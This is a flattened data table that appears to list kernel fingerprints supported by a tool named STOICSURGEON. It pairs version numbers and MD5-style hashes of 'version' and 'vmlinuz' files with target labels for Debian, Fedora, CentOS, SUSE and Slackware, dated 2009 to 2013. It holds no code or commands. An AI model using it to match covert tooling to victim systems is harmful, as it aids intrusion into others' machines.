STOICSURGEON-x86-linux-slackware-10.1 Fri Jan 8 2010 +1.5.17.16 1147353a5f9b7cc6ad41912196d3582c vmlinuz STOICSURGEON-x86-linux-slackware-10.1 Fri Jan 8 2010 +1.5.17.16 caf603ff37943cb5f549c04dbffbb0c9 version STOICSURGEON-x86-linux-slackware-10.1 Fri Jan 8 2010 +1.5.17.16 0fda671fec518da9cd0381001e1d5054 vmlinuz STOICSURGEON-x86-linux-slackware-10.1 Fri Jan 8 2010 +1.5.31.4 111941a28f2dd4591c3303c6087f20af version STOICSURGEON-x86-linux-slackware-10.1 Wed Jul 14 2010 +1.5.31.4 1147353a5f9b7cc6ad41912196d3582c vmlinuz STOICSURGEON-x86-linux-slackware-10.1 Wed Jul 14 2010 +1.5.31.4 caf603ff37943cb5f549c04dbffbb0c9 version STOICSURGEON-x86-linux-slackware-10.1 Wed Jul 14 2010 +1.5.31.4 0fda671fec518da9cd0381001e1d5054 vmlinuz STOICSURGEON-x86-linux-slackware-10.1 Wed Jul 14 2010 +1.5.16.1 073896ad392f42c739723e63f30de6e5 version STOICSURGEON-X86-LINUX-DEBIAN-5.0 Wed Oct 14 2009 +1.5.16.1 824cfba2eac12d0c09747c0bd3426e4e vmlinuz STOICSURGEON-X86-LINUX-DEBIAN-5.0 Wed Oct 14 2009 +1.5.16.1 a5143e4822657c4828fc1b004af5b3c6 version STOICSURGEON-X86-LINUX-DEBIAN-5.0 Wed Oct 14 2009 +1.5.16.1 c35c74d0e0b1de7f26486f5e8ca71b13 vmlinuz STOICSURGEON-X86-LINUX-DEBIAN-5.0 Wed Oct 14 2009 +1.5.16.1 7d408bc49e5ac7de23942f508fa81016 version STOICSURGEON-X86-LINUX-DEBIAN-5.0 Wed Oct 14 2009 +1.5.16.1 a81e55940469276668faff840b2109ff vmlinuz STOICSURGEON-X86-LINUX-DEBIAN-5.0 Wed Oct 14 2009 +1.5.22.6 073896ad392f42c739723e63f30de6e5 version STOICSURGEON-X86-LINUX-DEBIAN-5.0 Mon Apr 12 2010 +1.5.22.6 824cfba2eac12d0c09747c0bd3426e4e vmlinuz STOICSURGEON-X86-LINUX-DEBIAN-5.0 Mon Apr 12 2010 +1.5.22.6 a5143e4822657c4828fc1b004af5b3c6 version STOICSURGEON-X86-LINUX-DEBIAN-5.0 Mon Apr 12 2010 +1.5.22.6 c35c74d0e0b1de7f26486f5e8ca71b13 vmlinuz STOICSURGEON-X86-LINUX-DEBIAN-5.0 Mon Apr 12 2010 +1.5.22.6 7d408bc49e5ac7de23942f508fa81016 version STOICSURGEON-X86-LINUX-DEBIAN-5.0 Mon Apr 12 2010 +1.5.22.6 a81e55940469276668faff840b2109ff vmlinuz STOICSURGEON-X86-LINUX-DEBIAN-5.0 Mon Apr 12 2010 +1.5.22.6 c63c487238672ed12fb0f45fb0b865df version STOICSURGEON-X86-LINUX-DEBIAN-5.0 Mon Apr 12 2010 +1.5.22.6 e5888e717d040d46c989fc255b5cb823 vmlinuz STOICSURGEON-X86-LINUX-DEBIAN-5.0 Mon Apr 12 2010 +1.6.16.4 4768bea8d71cff7ee4e14f1cef323dbb version STOICSURGEON-X86-LINUX-DEBIAN-5.0 Thu Jan 20 2011 +1.6.16.4 ac686d1052f3cbba46d730cd96e8bf67 vmlinuz STOICSURGEON-X86-LINUX-DEBIAN-5.0 Thu Jan 20 2011 +1.6.16.4 073896ad392f42c739723e63f30de6e5 version STOICSURGEON-X86-LINUX-DEBIAN-5.0 Thu Jan 20 2011 +1.6.16.4 824cfba2eac12d0c09747c0bd3426e4e vmlinuz STOICSURGEON-X86-LINUX-DEBIAN-5.0 Thu Jan 20 2011 +1.6.16.4 a5143e4822657c4828fc1b004af5b3c6 version STOICSURGEON-X86-LINUX-DEBIAN-5.0 Thu Jan 20 2011 +1.6.16.4 c35c74d0e0b1de7f26486f5e8ca71b13 vmlinuz STOICSURGEON-X86-LINUX-DEBIAN-5.0 Thu Jan 20 2011 +1.6.16.4 7d408bc49e5ac7de23942f508fa81016 version STOICSURGEON-X86-LINUX-DEBIAN-5.0 Thu Jan 20 2011 +1.6.16.4 a81e55940469276668faff840b2109ff vmlinuz STOICSURGEON-X86-LINUX-DEBIAN-5.0 Thu Jan 20 2011 +1.6.16.4 c63c487238672ed12fb0f45fb0b865df version STOICSURGEON-X86-LINUX-DEBIAN-5.0 Thu Jan 20 2011 +1.6.16.4 e5888e717d040d46c989fc255b5cb823 vmlinuz STOICSURGEON-X86-LINUX-DEBIAN-5.0 Thu Jan 20 2011 +1.5.14.5 f32320fcaf0cbf3667f7b3e957fedeee version STOICSURGEON-X86-LINUX-FEDORA9 Fri Oct 9 2009 +1.5.14.5 9ec2288d7713f8b404d8a6357603b960 vmlinuz STOICSURGEON-X86-LINUX-FEDORA9 Fri Oct 9 2009 +1.5.14.5 673eae7bdb79e615cff1493d16e8c693 version STOICSURGEON-X86-LINUX-FEDORA9 Fri Oct 9 2009 +1.5.14.5 5dee0cbc019929ba25f5a1110f480fec vmlinuz STOICSURGEON-X86-LINUX-FEDORA9 Fri Oct 9 2009 +1.5.14.5 317252ce477ae76e55faa6603f8cb4e1 version STOICSURGEON-X86-LINUX-FEDORA9 Fri Oct 9 2009 +1.5.14.5 d086b38ac635a8805379edccfa7b5104 vmlinuz STOICSURGEON-X86-LINUX-FEDORA9 Fri Oct 9 2009 +1.7.1.10 f32320fcaf0cbf3667f7b3e957fedeee version STOICSURGEON-X86-LINUX-FEDORA9 Tue May 3 2011 +1.7.1.10 9ec2288d7713f8b404d8a6357603b960 vmlinuz STOICSURGEON-X86-LINUX-FEDORA9 Tue May 3 2011 +1.7.1.10 673eae7bdb79e615cff1493d16e8c693 version STOICSURGEON-X86-LINUX-FEDORA9 Tue May 3 2011 +1.7.1.10 5dee0cbc019929ba25f5a1110f480fec vmlinuz STOICSURGEON-X86-LINUX-FEDORA9 Tue May 3 2011 +1.7.1.10 a60fcaa47ac9ada757d284f77c9c01d3 version STOICSURGEON-X86-LINUX-FEDORA9 Tue May 3 2011 +1.7.1.10 8c3a83eb08ad99289681da290b5a99c1 vmlinuz STOICSURGEON-X86-LINUX-FEDORA9 Tue May 3 2011 +1.7.1.10 bcdb50a04ce60d0d72974ad9d098f782 version STOICSURGEON-X86-LINUX-FEDORA9 Tue May 3 2011 +1.7.1.10 f255831519a9d8ca98fea1c089b82e52 vmlinuz STOICSURGEON-X86-LINUX-FEDORA9 Tue May 3 2011 +1.7.1.10 317252ce477ae76e55faa6603f8cb4e1 version STOICSURGEON-X86-LINUX-FEDORA9 Tue May 3 2011 +1.7.1.10 d086b38ac635a8805379edccfa7b5104 vmlinuz STOICSURGEON-X86-LINUX-FEDORA9 Tue May 3 2011 +1.7.1.10 a022f352ce7bd790e9a07499a5fd31d0 version STOICSURGEON-X86-LINUX-FEDORA9 Tue May 3 2011 +1.7.1.10 5a156603f821964416ff6ca05dd72539 vmlinuz STOICSURGEON-X86-LINUX-FEDORA9 Tue May 3 2011 +1.7.31.1 b43199607e9fa6bbbad6a8951f7d7cd1 version STOICSURGEON-X86-LINUX-FEDORA10 Thu Jun 7 2012 +1.7.31.1 a0385d163b3b50fae17200d642266aec vmlinuz STOICSURGEON-X86-LINUX-FEDORA10 Thu Jun 7 2012 +1.7.31.1 96e5f4f7d1bb75e19480be3802ea9d19 version STOICSURGEON-X86-LINUX-FEDORA10 Thu Jun 7 2012 +1.7.31.1 db9db7e9897eaa492a78c9e362124349 vmlinuz STOICSURGEON-X86-LINUX-FEDORA10 Thu Jun 7 2012 +1.7.31.1 ac12397c53b2b61e80d758f245df5eec version STOICSURGEON-X86-LINUX-FEDORA10 Thu Jun 7 2012 +1.7.31.1 c9b5816ea6c5877ef3f40ea2c5912426 vmlinuz STOICSURGEON-X86-LINUX-FEDORA10 Thu Jun 7 2012 +1.7.31.1 de503b29de72dafaf2cc0a46bc0476b7 version STOICSURGEON-X86-LINUX-FEDORA10 Thu Jun 7 2012 +1.7.31.1 9eaaf477f1a1d010f7a4c555f0c7da2a vmlinuz STOICSURGEON-X86-LINUX-FEDORA10 Thu Jun 7 2012 +1.7.31.1 3c04ae77b4412822ec87f9a03540b87f version STOICSURGEON-X86-LINUX-FEDORA10 Thu Jun 7 2012 +1.7.31.1 dd6f4f5844563d5e4d47f529ef46b82a vmlinuz STOICSURGEON-X86-LINUX-FEDORA10 Thu Jun 7 2012 +1.7.31.1 3da757a2f399b8a8560dd74815f966ee version STOICSURGEON-X86-LINUX-FEDORA10 Thu Jun 7 2012 +1.7.31.1 954975500a968d0925a9928ce09db5c6 vmlinuz STOICSURGEON-X86-LINUX-FEDORA10 Thu Jun 7 2012 +1.7.31.1 56a1840f335b98adeddf73d1958d9147 version STOICSURGEON-X86-LINUX-FEDORA10 Thu Jun 7 2012 +1.7.31.1 615817557c84b4eac119d08a7b792c35 vmlinuz STOICSURGEON-X86-LINUX-FEDORA10 Thu Jun 7 2012 +1.7.31.1 4571bb583f8b4dc7efde12e258b0db95 version STOICSURGEON-X86-LINUX-FEDORA10 Thu Jun 7 2012 +1.7.31.1 0e7b30c5070a0822a7dc6fd3859f2270 vmlinuz STOICSURGEON-X86-LINUX-FEDORA10 Thu Jun 7 2012 +1.7.31.1 1be3473af23bc12eceeeb2175629018b version STOICSURGEON-X86-LINUX-FEDORA10 Thu Jun 7 2012 +1.7.31.1 981efca4ecf7a1189f799293530ad504 vmlinuz STOICSURGEON-X86-LINUX-FEDORA10 Thu Jun 7 2012 +1.7.31.1 9bffc60960dd5f3e986b969ce4d2c559 version STOICSURGEON-X86-LINUX-FEDORA10 Thu Jun 7 2012 +1.7.31.1 8fe16b44d0f1c7e1769b75186c150705 vmlinuz STOICSURGEON-X86-LINUX-FEDORA10 Thu Jun 7 2012 +1.7.31.1 c986b3ac2ebbc8348be8bcb7d50c62df version STOICSURGEON-X86-LINUX-FEDORA10 Thu Jun 7 2012 +1.7.31.1 835e26234c68cb1a9a570ff3ab9d7127 vmlinuz STOICSURGEON-X86-LINUX-FEDORA10 Thu Jun 7 2012 +1.5.16.2 b43199607e9fa6bbbad6a8951f7d7cd1 version STOICSURGEON-X86-LINUX-FEDORA10 Wed Oct 14 2009 +1.5.16.2 a0385d163b3b50fae17200d642266aec vmlinuz STOICSURGEON-X86-LINUX-FEDORA10 Wed Oct 14 2009 +1.5.16.2 96e5f4f7d1bb75e19480be3802ea9d19 version STOICSURGEON-X86-LINUX-FEDORA10 Wed Oct 14 2009 +1.5.16.2 db9db7e9897eaa492a78c9e362124349 vmlinuz STOICSURGEON-X86-LINUX-FEDORA10 Wed Oct 14 2009 +1.5.16.2 ac12397c53b2b61e80d758f245df5eec version STOICSURGEON-X86-LINUX-FEDORA10 Wed Oct 14 2009 +1.5.16.2 c9b5816ea6c5877ef3f40ea2c5912426 vmlinuz STOICSURGEON-X86-LINUX-FEDORA10 Wed Oct 14 2009 +1.5.16.17 b43199607e9fa6bbbad6a8951f7d7cd1 version STOICSURGEON-X86-LINUX-FEDORA10 Thu Nov 5 2009 +1.5.16.17 a0385d163b3b50fae17200d642266aec vmlinuz STOICSURGEON-X86-LINUX-FEDORA10 Thu Nov 5 2009 +1.5.16.17 56a1840f335b98adeddf73d1958d9147 version STOICSURGEON-X86-LINUX-FEDORA10 Thu Nov 5 2009 +1.5.16.17 615817557c84b4eac119d08a7b792c35 vmlinuz STOICSURGEON-X86-LINUX-FEDORA10 Thu Nov 5 2009 +1.5.16.17 96e5f4f7d1bb75e19480be3802ea9d19 version STOICSURGEON-X86-LINUX-FEDORA10 Thu Nov 5 2009 +1.5.16.17 db9db7e9897eaa492a78c9e362124349 vmlinuz STOICSURGEON-X86-LINUX-FEDORA10 Thu Nov 5 2009 +1.5.16.17 4571bb583f8b4dc7efde12e258b0db95 version STOICSURGEON-X86-LINUX-FEDORA10 Thu Nov 5 2009 +1.5.16.17 0e7b30c5070a0822a7dc6fd3859f2270 vmlinuz STOICSURGEON-X86-LINUX-FEDORA10 Thu Nov 5 2009 +1.5.16.17 ac12397c53b2b61e80d758f245df5eec version STOICSURGEON-X86-LINUX-FEDORA10 Thu Nov 5 2009 +1.5.16.17 c9b5816ea6c5877ef3f40ea2c5912426 vmlinuz STOICSURGEON-X86-LINUX-FEDORA10 Thu Nov 5 2009 +1.5.16.17 1be3473af23bc12eceeeb2175629018b version STOICSURGEON-X86-LINUX-FEDORA10 Thu Nov 5 2009 +1.5.16.17 981efca4ecf7a1189f799293530ad504 vmlinuz STOICSURGEON-X86-LINUX-FEDORA10 Thu Nov 5 2009 +1.7.2.5 3b3c551402366ed01b22a4463feb21ab version STOICSURGEON-X86-LINUX-CENTOS-4.7 Thu May 19 2011 +1.7.2.5 f349966f0b5b4fa9c2f2b8f518722077 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-4.7 Thu May 19 2011 +1.7.2.5 053f264fb7bd1b50a358ac69f6af1647 version STOICSURGEON-X86-LINUX-CENTOS-4.7 Thu May 19 2011 +1.7.2.5 8d1f513de05f52e310be4d76ee333cb8 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-4.7 Thu May 19 2011 +1.7.2.5 cf0f51afdfe63383f47a4433f318269a version STOICSURGEON-X86-LINUX-CENTOS-4.7 Thu May 19 2011 +1.7.2.5 6f5af1030cb9564e30c899788eaf6553 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-4.7 Thu May 19 2011 +1.7.2.5 ac56ec5b85dff64b1e69db6a2a2b5a65 version STOICSURGEON-X86-LINUX-CENTOS-4.7 Thu May 19 2011 +1.7.2.5 05b652ee694da4204bcfb631e01c86de vmlinuz STOICSURGEON-X86-LINUX-CENTOS-4.7 Thu May 19 2011 +1.7.2.5 2d58027cc2b35652c6540d7c81b7eafb version STOICSURGEON-X86-LINUX-CENTOS-4.7 Thu May 19 2011 +1.7.2.5 3e11f3a2351dfdcd0712294693e9fdef vmlinuz STOICSURGEON-X86-LINUX-CENTOS-4.7 Thu May 19 2011 +1.5.13.1 053f264fb7bd1b50a358ac69f6af1647 version STOICSURGEON-X86-LINUX-CENTOS-4.7 Mon Oct 5 2009 +1.5.13.1 8d1f513de05f52e310be4d76ee333cb8 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-4.7 Mon Oct 5 2009 +1.5.13.1 3b3c551402366ed01b22a4463feb21ab version STOICSURGEON-X86-LINUX-CENTOS-4.7 Mon Oct 5 2009 +1.5.13.1 f349966f0b5b4fa9c2f2b8f518722077 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-4.7 Mon Oct 5 2009 +1.5.13.1 cf0f51afdfe63383f47a4433f318269a version STOICSURGEON-X86-LINUX-CENTOS-4.7 Mon Oct 5 2009 +1.5.13.1 6f5af1030cb9564e30c899788eaf6553 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-4.7 Mon Oct 5 2009 +1.5.13.1 2d58027cc2b35652c6540d7c81b7eafb version STOICSURGEON-X86-LINUX-CENTOS-4.7 Mon Oct 5 2009 +1.5.13.1 3e11f3a2351dfdcd0712294693e9fdef vmlinuz STOICSURGEON-X86-LINUX-CENTOS-4.7 Mon Oct 5 2009 +1.5.13.1 ac56ec5b85dff64b1e69db6a2a2b5a65 version STOICSURGEON-X86-LINUX-CENTOS-4.7 Mon Oct 5 2009 +1.5.13.1 05b652ee694da4204bcfb631e01c86de vmlinuz STOICSURGEON-X86-LINUX-CENTOS-4.7 Mon Oct 5 2009 +1.7.13.15 3b3c551402366ed01b22a4463feb21ab version STOICSURGEON-X86-LINUX-CENTOS-4.7 Wed Nov 16 2011 +1.7.13.15 f349966f0b5b4fa9c2f2b8f518722077 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-4.7 Wed Nov 16 2011 +1.7.13.15 053f264fb7bd1b50a358ac69f6af1647 version STOICSURGEON-X86-LINUX-CENTOS-4.7 Wed Nov 16 2011 +1.7.13.15 8d1f513de05f52e310be4d76ee333cb8 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-4.7 Wed Nov 16 2011 +1.7.13.15 cf0f51afdfe63383f47a4433f318269a version STOICSURGEON-X86-LINUX-CENTOS-4.7 Wed Nov 16 2011 +1.7.13.15 6f5af1030cb9564e30c899788eaf6553 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-4.7 Wed Nov 16 2011 +1.7.13.15 ac56ec5b85dff64b1e69db6a2a2b5a65 version STOICSURGEON-X86-LINUX-CENTOS-4.7 Wed Nov 16 2011 +1.7.13.15 05b652ee694da4204bcfb631e01c86de vmlinuz STOICSURGEON-X86-LINUX-CENTOS-4.7 Wed Nov 16 2011 +1.7.13.15 cd5fc8df328ede581aa73321ae4b1f5a version STOICSURGEON-X86-LINUX-CENTOS-4.7 Wed Nov 16 2011 +1.7.13.15 6d99746b72bef1e90f8d89e7177b6057 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-4.7 Wed Nov 16 2011 +1.7.13.15 424224e189185e61707c27ddb91a9909 version STOICSURGEON-X86-LINUX-CENTOS-4.7 Wed Nov 16 2011 +1.7.13.15 71b15c443d7cab6ff4d97a77caad0be5 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-4.7 Wed Nov 16 2011 +1.7.13.15 2d58027cc2b35652c6540d7c81b7eafb version STOICSURGEON-X86-LINUX-CENTOS-4.7 Wed Nov 16 2011 +1.7.13.15 3e11f3a2351dfdcd0712294693e9fdef vmlinuz STOICSURGEON-X86-LINUX-CENTOS-4.7 Wed Nov 16 2011 +1.7.53.8 share export STOICSURGEON-X86-LINUX-FEDORA8 Mon Mar 25 2013 +1.7.53.8 share export STOICSURGEON-X86-LINUX-FEDORA8 Mon Mar 25 2013 +1.7.53.8 share export STOICSURGEON-X86-LINUX-FEDORA8 Mon Mar 25 2013 +1.7.53.8 share export STOICSURGEON-X86-LINUX-FEDORA8 Mon Mar 25 2013 +1.7.53.8 share export STOICSURGEON-X86-LINUX-FEDORA8 Mon Mar 25 2013 +1.7.53.8 share export STOICSURGEON-X86-LINUX-FEDORA8 Mon Mar 25 2013 +1.7.53.8 share export STOICSURGEON-X86-LINUX-FEDORA8 Mon Mar 25 2013 +1.7.53.8 share export STOICSURGEON-X86-LINUX-FEDORA8 Mon Mar 25 2013 +1.7.53.8 93de83595c761c7a464b78f2bcd42702 version STOICSURGEON-X86-LINUX-FEDORA8 Mon Mar 25 2013 +1.7.53.8 880d6643506698377e5dc06f9995f55c vmlinuz STOICSURGEON-X86-LINUX-FEDORA8 Mon Mar 25 2013 +1.7.53.8 410cafd3d016ed92a1b4d325e7151c11 version STOICSURGEON-X86-LINUX-FEDORA8 Mon Mar 25 2013 +1.7.53.8 1fd60eb534fd865502b85247c8a2e004 vmlinuz STOICSURGEON-X86-LINUX-FEDORA8 Mon Mar 25 2013 +1.7.53.8 8a19c5e7650df8b2c4063da59fb9effc version STOICSURGEON-X86-LINUX-FEDORA8 Mon Mar 25 2013 +1.7.53.8 535d63f5b7cd4c64f243bf3be11c56ea vmlinuz STOICSURGEON-X86-LINUX-FEDORA8 Mon Mar 25 2013 +1.7.53.8 da75abc848a949062e5272560862675b version STOICSURGEON-X86-LINUX-FEDORA8 Mon Mar 25 2013 +1.7.53.8 c86a916bab070197c28b427c37479670 vmlinuz STOICSURGEON-X86-LINUX-FEDORA8 Mon Mar 25 2013 +1.5.16.3 93de83595c761c7a464b78f2bcd42702 version STOICSURGEON-X86-LINUX-FEDORA8 Wed Oct 14 2009 +1.5.16.3 880d6643506698377e5dc06f9995f55c vmlinuz STOICSURGEON-X86-LINUX-FEDORA8 Wed Oct 14 2009 +1.5.16.3 410cafd3d016ed92a1b4d325e7151c11 version STOICSURGEON-X86-LINUX-FEDORA8 Wed Oct 14 2009 +1.5.16.3 1fd60eb534fd865502b85247c8a2e004 vmlinuz STOICSURGEON-X86-LINUX-FEDORA8 Wed Oct 14 2009 +1.5.16.3 da75abc848a949062e5272560862675b version STOICSURGEON-X86-LINUX-FEDORA8 Wed Oct 14 2009 +1.5.16.3 c86a916bab070197c28b427c37479670 vmlinuz STOICSURGEON-X86-LINUX-FEDORA8 Wed Oct 14 2009 +1.5.16.3 8a19c5e7650df8b2c4063da59fb9effc version STOICSURGEON-X86-LINUX-FEDORA8 Wed Oct 14 2009 +1.5.16.3 535d63f5b7cd4c64f243bf3be11c56ea vmlinuz STOICSURGEON-X86-LINUX-FEDORA8 Wed Oct 14 2009 +1.5.16.13 7982ab0943e4237eddbc7f50b04486bd version STOICSURGEON-X86_64-LINUX-DEBIAN-4.0 Tue Oct 20 2009 +1.5.16.13 69237984ca8221ab47041c92667a84ec vmlinuz STOICSURGEON-X86_64-LINUX-DEBIAN-4.0 Tue Oct 20 2009 +1.5.16.13 1f7d25db0a6c2ffab77aa59b33b02204 version STOICSURGEON-X86_64-LINUX-DEBIAN-4.0 Tue Oct 20 2009 +1.5.16.13 1ec9c4b89a45b72ec1c7655f71def08b vmlinuz STOICSURGEON-X86_64-LINUX-DEBIAN-4.0 Tue Oct 20 2009 +1.5.16.13 db2251e1f74e16bdb0064d76bcadbc5f version STOICSURGEON-X86_64-LINUX-DEBIAN-4.0 Tue Oct 20 2009 +1.5.16.13 3d868bd913aa100dc468c1575ec77a7b vmlinuz STOICSURGEON-X86_64-LINUX-DEBIAN-4.0 Tue Oct 20 2009 +1.5.16.13 cd9800d57f8dada4ab18b09a7d4b0af5 version STOICSURGEON-X86_64-LINUX-DEBIAN-4.0 Tue Oct 20 2009 +1.5.16.13 261d30cbfaf3e7213d1c5afaba9c9a61 vmlinuz STOICSURGEON-X86_64-LINUX-DEBIAN-4.0 Tue Oct 20 2009 +1.5.16.13 8a877290c84fd346718ecf4594152c5d version STOICSURGEON-X86_64-LINUX-DEBIAN-4.0 Tue Oct 20 2009 +1.5.16.13 8d2da9579614c50965cec50272c96002 vmlinuz STOICSURGEON-X86_64-LINUX-DEBIAN-4.0 Tue Oct 20 2009 +1.5.16.13 c81ec89914b81d3a2c64fa19898693f0 version STOICSURGEON-X86_64-LINUX-DEBIAN-4.0 Tue Oct 20 2009 +1.5.16.13 fcb8d9301596368a4898ce06ea2ddf24 vmlinuz STOICSURGEON-X86_64-LINUX-DEBIAN-4.0 Tue Oct 20 2009 +1.5.16.13 57f92fc823bfb4b4739c51b1c103e6ea version STOICSURGEON-X86_64-LINUX-DEBIAN-4.0 Tue Oct 20 2009 +1.5.16.13 590233f979698cdfb93aece0e09f4298 vmlinuz STOICSURGEON-X86_64-LINUX-DEBIAN-4.0 Tue Oct 20 2009 +1.5.16.13 3185d906e586ba9e72ac4d6422a46ce4 version STOICSURGEON-X86_64-LINUX-DEBIAN-4.0 Tue Oct 20 2009 +1.5.16.13 466dff6086de801f53f1d15eca28e4f7 vmlinuz STOICSURGEON-X86_64-LINUX-DEBIAN-4.0 Tue Oct 20 2009 +1.5.16.13 e5e49c94e562181409cb08437b9394a6 version STOICSURGEON-X86_64-LINUX-DEBIAN-4.0 Tue Oct 20 2009 +1.5.16.13 b81e7991fcda23df8b8e07000c37b737 vmlinuz STOICSURGEON-X86_64-LINUX-DEBIAN-4.0 Tue Oct 20 2009 +1.5.16.13 119583f03869027e2c59d78f21fd686c version STOICSURGEON-X86_64-LINUX-DEBIAN-4.0 Tue Oct 20 2009 +1.5.16.13 e2acecd7433e051eab9898449f5a900a vmlinuz STOICSURGEON-X86_64-LINUX-DEBIAN-4.0 Tue Oct 20 2009 +1.5.16.13 32cc8d4fb432c0d3c310d429839ef615 version STOICSURGEON-X86_64-LINUX-DEBIAN-4.0 Tue Oct 20 2009 +1.5.16.13 df1075375b8d8e4c8af5af797c6560e1 vmlinuz STOICSURGEON-X86_64-LINUX-DEBIAN-4.0 Tue Oct 20 2009 +1.5.16.13 f0cad65dbd183eeb3644f3cc26930a87 version STOICSURGEON-X86_64-LINUX-DEBIAN-4.0 Tue Oct 20 2009 +1.5.16.13 bf0ab52d26179916faf7f6c6e30225d9 vmlinuz STOICSURGEON-X86_64-LINUX-DEBIAN-4.0 Tue Oct 20 2009 +1.5.16.13 2d61daf27126db08e34b5c178d5bd77c version STOICSURGEON-X86_64-LINUX-DEBIAN-4.0 Tue Oct 20 2009 +1.5.16.13 a072035248faf87a57fd60f131fd259c vmlinuz STOICSURGEON-X86_64-LINUX-DEBIAN-4.0 Tue Oct 20 2009 +1.4.35.1 7982ab0943e4237eddbc7f50b04486bd version STOICSURGEON-X86_64-LINUX-DEBIAN-4.0 Thu Apr 30 2009 +1.4.35.1 d3775e6e7e1d4af5c5ed0d4aa3084be9 vmlinuz STOICSURGEON-X86_64-LINUX-DEBIAN-4.0 Thu Apr 30 2009 +1.4.35.1 db2251e1f74e16bdb0064d76bcadbc5f version STOICSURGEON-X86_64-LINUX-DEBIAN-4.0 Thu Apr 30 2009 +1.4.35.1 852347ca1ef4fb57afdbf1f0b3989c68 vmlinuz STOICSURGEON-X86_64-LINUX-DEBIAN-4.0 Thu Apr 30 2009 +1.4.35.1 8a877290c84fd346718ecf4594152c5d version STOICSURGEON-X86_64-LINUX-DEBIAN-4.0 Thu Apr 30 2009 +1.4.35.1 e5080218672bb3f7181e3e2ef78165ac vmlinuz STOICSURGEON-X86_64-LINUX-DEBIAN-4.0 Thu Apr 30 2009 +1.4.35.1 c81ec89914b81d3a2c64fa19898693f0 version STOICSURGEON-X86_64-LINUX-DEBIAN-4.0 Thu Apr 30 2009 +1.4.35.1 a691f70e7ec3115cbb22bcda66bb13cf vmlinuz STOICSURGEON-X86_64-LINUX-DEBIAN-4.0 Thu Apr 30 2009 +1.4.35.1 57f92fc823bfb4b4739c51b1c103e6ea version STOICSURGEON-X86_64-LINUX-DEBIAN-4.0 Thu Apr 30 2009 +1.4.35.1 65bb1c796b3f99df888ba9d895afd15d vmlinuz STOICSURGEON-X86_64-LINUX-DEBIAN-4.0 Thu Apr 30 2009 +1.4.35.1 3185d906e586ba9e72ac4d6422a46ce4 version STOICSURGEON-X86_64-LINUX-DEBIAN-4.0 Thu Apr 30 2009 +1.4.35.1 8140d727550bb21f1fa9a7f23ef2a9c9 vmlinuz STOICSURGEON-X86_64-LINUX-DEBIAN-4.0 Thu Apr 30 2009 +1.4.35.1 e5e49c94e562181409cb08437b9394a6 version STOICSURGEON-X86_64-LINUX-DEBIAN-4.0 Thu Apr 30 2009 +1.4.35.1 5008262684aa12ebb9799022ce1405cd vmlinuz STOICSURGEON-X86_64-LINUX-DEBIAN-4.0 Thu Apr 30 2009 +1.4.35.1 119583f03869027e2c59d78f21fd686c version STOICSURGEON-X86_64-LINUX-DEBIAN-4.0 Thu Apr 30 2009 +1.4.35.1 28e5fc4019483ffe6968eb66a11356a6 vmlinuz STOICSURGEON-X86_64-LINUX-DEBIAN-4.0 Thu Apr 30 2009 +1.5.16.19 bf56c0811a7b755136eae4c09b253720 version STOICSURGEON-X86-LINUX-SUSE-10.2 Wed Nov 25 2009 +1.5.16.19 4b372383ac33e1267fe95c27c1a0edbe vmlinuz STOICSURGEON-X86-LINUX-SUSE-10.2 Wed Nov 25 2009 +1.5.16.19 2232461821cbce7d15f998dacd4854ff version STOICSURGEON-X86-LINUX-SUSE-10.2 Wed Nov 25 2009 +1.5.16.19 a44b3f4a64a266092aae8491f68e06d3 vmlinuz STOICSURGEON-X86-LINUX-SUSE-10.2 Wed Nov 25 2009 +1.5.17.1 bf56c0811a7b755136eae4c09b253720 version STOICSURGEON-X86-LINUX-SUSE-10.2 Mon Dec 7 2009 +1.5.17.1 4b372383ac33e1267fe95c27c1a0edbe vmlinuz STOICSURGEON-X86-LINUX-SUSE-10.2 Mon Dec 7 2009 +1.5.17.1 2232461821cbce7d15f998dacd4854ff version STOICSURGEON-X86-LINUX-SUSE-10.2 Mon Dec 7 2009 +1.5.17.1 a44b3f4a64a266092aae8491f68e06d3 vmlinuz STOICSURGEON-X86-LINUX-SUSE-10.2 Mon Dec 7 2009 +1.5.17.4 703bbb0e9f3ecb1ccaf1c72252dbf14a version STOICSURGEON-X86-LINUX-SUSE-10.1 Mon Dec 7 2009 +1.5.17.4 4bf77c2ea7bf6598391c78ae283faf52 vmlinuz STOICSURGEON-X86-LINUX-SUSE-10.1 Mon Dec 7 2009 +1.5.17.4 a96e40fd0183ca00cd60bed5db7fccaf version STOICSURGEON-X86-LINUX-SUSE-10.1 Mon Dec 7 2009 +1.5.17.4 99e4dc745b86e146cb37583ba3a3195e vmlinuz STOICSURGEON-X86-LINUX-SUSE-10.1 Mon Dec 7 2009 +1.5.17.4 5e50db9a4aebdd12a097bc90a947d6ba version STOICSURGEON-X86-LINUX-SUSE-10.1 Mon Dec 7 2009 +1.5.17.4 f53178cc766aed381f4ad34bfedf619c vmlinuz STOICSURGEON-X86-LINUX-SUSE-10.1 Mon Dec 7 2009 +1.5.30.6 a378c306b25dbe231e58b8f7016d94ed version STOICSURGEON-X86-LINUX-CENTOS-5.4 Mon Jul 12 2010 +1.5.30.6 adcb4136256bdde3040d3b7154435bd2 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-5.4 Mon Jul 12 2010 +1.5.30.6 0493fb233e6b918fb4d382c8bbc57e98 version STOICSURGEON-X86-LINUX-CENTOS-5.4 Mon Jul 12 2010 +1.5.30.6 3819a2dfeea3f49f70c0ea77025a5f6c vmlinuz STOICSURGEON-X86-LINUX-CENTOS-5.4 Mon Jul 12 2010 +1.5.30.6 42d1c680ef31e04ff9af9aae57421efb version STOICSURGEON-X86-LINUX-CENTOS-5.4 Mon Jul 12 2010 +1.5.30.6 7421b12ac5da39911beaacd30dffa7b5 vmlinuz STOICSURGEON-X86-LINUX-CENTOS-5.4 Mon Jul 12 2010 +1.5.30.6 81c53b6537290e3cb9d0c6b200b017e8 version STOICSURGEON-X86-LINUX-CENTOS-5.4 Mon Jul 12 2010 +1.5.30.6 cc607b46d6dd653837211951073e8053 